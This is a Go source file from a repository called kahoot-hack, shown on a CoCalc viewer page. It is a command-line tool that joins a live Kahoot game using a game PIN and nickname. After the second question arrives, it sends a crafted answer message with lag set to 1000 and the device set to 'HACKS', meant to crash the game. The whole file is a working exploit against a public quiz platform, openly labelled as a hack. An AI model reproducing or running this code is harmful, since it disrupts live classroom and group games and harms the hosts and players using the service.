Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
unixpickle
GitHub Repository: unixpickle/kahoot-hack
Path: blob/master/kahoot-crash/main.go
10111 views
1
package main
2
3
import (
4
"encoding/json"
5
"fmt"
6
"os"
7
"time"
8
9
"github.com/unixpickle/kahoot-hack/kahoot"
10
)
11
12
func main() {
13
if len(os.Args) != 3 {
14
fmt.Fprintln(os.Stderr, "Usage: crash <game pin> <nickname>")
15
os.Exit(1)
16
}
17
gamePin := os.Args[1]
18
nickname := os.Args[2]
19
20
conn, err := kahoot.NewConn(gamePin)
21
defer conn.GracefulClose()
22
if err != nil {
23
fmt.Fprintln(os.Stderr, "failed to connect:", err)
24
os.Exit(1)
25
}
26
if err := conn.Login(nickname); err != nil {
27
fmt.Fprintln(os.Stderr, "failed to login:", err)
28
os.Exit(1)
29
}
30
31
delayCount := 2
32
for {
33
msg, err := conn.Receive("/service/player")
34
if err != nil {
35
fmt.Fprintln(os.Stderr, "failed to receive player packet:", err)
36
os.Exit(1)
37
}
38
if data, ok := msg["data"].(map[string]interface{}); ok {
39
if contentStr, ok := data["content"].(string); ok {
40
var content map[string]interface{}
41
if json.Unmarshal([]byte(contentStr), &content) != nil {
42
continue
43
} else if _, ok := content["questionIndex"]; ok {
44
delayCount--
45
if delayCount == 0 {
46
break
47
}
48
}
49
}
50
}
51
}
52
53
fmt.Println("got question; crashing...")
54
55
content := kahoot.Message{"choice": 0, "meta": kahoot.Message{"lag": 1000, "device": "HACKS"}}
56
encodedContent, _ := json.Marshal(content)
57
msg := kahoot.Message{
58
"data": kahoot.Message{
59
"type": "message",
60
"gameid": gamePin,
61
"host": "kahoot.it",
62
"content": string(encodedContent),
63
"id": 6,
64
},
65
}
66
if err := conn.Send("/service/controller", msg); err != nil {
67
fmt.Fprintln(os.Stderr, "failed to send hack:", err)
68
}
69
70
time.Sleep(time.Second)
71
}
72
73